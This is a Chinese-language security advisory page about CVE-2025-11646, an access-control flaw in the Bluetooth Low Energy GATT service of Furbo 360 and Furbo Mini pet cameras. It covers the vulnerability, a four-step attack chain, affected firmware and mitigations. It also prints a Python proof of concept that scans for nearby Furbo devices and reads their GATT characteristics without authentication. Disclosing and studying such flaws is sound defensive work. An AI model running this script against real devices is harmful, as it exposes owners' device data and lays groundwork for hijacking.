IPBUF安全漏洞报告
English
CVE-2025-11646 CVSS 6.3 中危

CVE-2025-11646 Tomofun Furbo设备GATT服务访问控制漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11646
漏洞类型
访问控制不当/信息泄露
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini 智能摄像头

相关标签

CVE-2025-11646访问控制不当信息泄露蓝牙低功耗BLEGATTTomofunFurbo 360Furbo Mini智能摄像头

漏洞概述

CVE-2025-11646是Tomofun公司生产的Furbo 360和Furbo Mini智能宠物摄像头中存在的一个安全漏洞。该漏洞位于设备的GATT(Generic Attribute Profile)服务组件中,属于访问控制不当类漏洞。GATT是蓝牙低功耗(BLE)协议栈中用于在蓝牙设备之间传输数据的服务框架,攻击者可以通过该服务对设备进行未授权的数据访问和操作。

该漏洞的CVSS评分为6.3分,属于中危级别。攻击者需要位于目标设备的本地网络范围内(邻接网络)即可发起攻击,无需进行身份认证,也无需用户交互。成功利用该漏洞可能导致设备的部分信息泄露、数据完整性遭到破坏以及设备可用性受到影响。

根据披露信息,受影响的固件版本包括Furbo 360的FB0035_FW_036及之前版本,以及Furbo Mini的MC0020_FW_074及之前版本。该漏洞的发现者曾提前联系Tomofun公司进行披露,但厂商未作出任何回应。目前该漏洞的利用方式已经公开,可能被恶意攻击者利用,对用户隐私和设备安全构成潜在威胁。

技术细节

该漏洞存在于Tomofun Furbo 360和Furbo Mini设备的蓝牙低功耗(BLE)GATT服务实现中。GATT服务定义了BLE设备之间数据交互的协议框架,包括Services、Characteristics和Descriptors三个层级。

漏洞的根本原因在于设备GATT服务缺乏适当的访问控制机制。正常情况下,GATT服务应该对访问其Characteristics的客户端进行身份验证和权限检查,但Furbo设备的GATT实现未能正确实施这些安全措施。具体而言,设备在处理P2P(Peer-to-Peer)通信时泄露了UUID信息,攻击者可以通过BLE连接读取未经授权的GATT Characteristics数据。

攻击利用方式如下:
1. 攻击者使用支持BLE的设备(如手机或笔记本)扫描目标Furbo设备的广播信号;
2. 发现目标设备的GATT服务和相关UUID信息;
3. 由于缺乏访问控制,攻击者可以直接连接到设备的GATT服务并读取敏感数据;
4. 攻击者可以获取设备标识、P2P连接UUID等敏感信息,为后续攻击(如中间人攻击或未授权控制)奠定基础。

由于该漏洞影响的是设备的基础通信安全,攻击者获取的信息可能被用于进一步的攻击活动,如设备劫持、隐私数据窃取等。

攻击链分析

STEP 1
步骤1:设备发现
攻击者在目标设备的BLE信号范围内(通常10-100米),使用支持蓝牙低功耗的设备扫描附近的BLE广播信号,识别出Furbo 360或Furbo Mini设备。
STEP 2
步骤2:GATT服务枚举
攻击者连接到目标Furbo设备的GATT服务,由于缺乏访问控制,攻击者无需认证即可枚举设备暴露的所有Services、Characteristics和Descriptors。
STEP 3
步骤3:未授权数据读取
攻击者读取GATT Characteristics中的敏感数据,包括P2P UUID信息、设备标识符等,违反了正常的访问控制策略。
STEP 4
步骤4:信息利用与后续攻击
获取泄露的P2P UUID等信息后,攻击者可利用这些信息进行中间人攻击、设备劫持或进一步渗透,威胁用户隐私和设备安全。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11646 PoC - Furbo GATT Service Information Disclosure # Exploits improper access control in GATT Service # Affected: Furbo 360 <= FB0035_FW_036, Furbo Mini <= MC0020_FW_074 import asyncio from bleak import BleakScanner, BleakClient # Target GATT service and characteristic UUIDs TARGET_DEVICE_NAMES = ["Furbo 360", "Furbo Mini"] # P2P UUID information disclosure target GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Generic GATT service P2P_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # P2P UUID characteristic async def scan_furbo_devices(): """Scan for nearby Furbo devices via BLE""" print("[*] Scanning for Furbo devices...") devices = await BleakScanner.discover() furbo_devices = [] for device in devices: if any(name in (device.name or "") for name in TARGET_DEVICE_NAMES): print(f"[+] Found Furbo device: {device.name} [{device.address}]") furbo_devices.append(device) return furbo_devices async def exploit_gatt_service(device): """Exploit improper access control in GATT service to read P2P UUID""" print(f"[*] Connecting to {device.name} at {device.address}") async with BleakClient(device.address) as client: print(f"[+] Connected: {client.is_connected}") # Enumerate all GATT services (no authentication required due to vulnerability) services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Attempt to read P2P UUID characteristic without authorization if "read" in char.properties: try: value = await client.read_gatt_char(char.uuid) print(f"[+] Disclosed data from {char.uuid}: {value.hex()}") except Exception as e: print(f"[-] Read failed: {e}") async def main(): furbo_devices = await scan_furbo_devices() if furbo_devices: for device in furbo_devices: await exploit_gatt_service(device) else: print("[-] No Furbo devices found in range") if __name__ == "__main__": asyncio.run(main())

影响范围

Furbo 360 <= FB0035_FW_036
Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
在厂商发布修复固件之前,建议用户将Furbo设备放置在物理安全的环境中,限制未经授权人员的物理接近范围;在不需要使用蓝牙功能时尽量关闭BLE;同时关注厂商Tomofun的安全公告,及时更新固件版本。由于厂商未对漏洞披露作出回应,用户应主动联系厂商要求提供安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表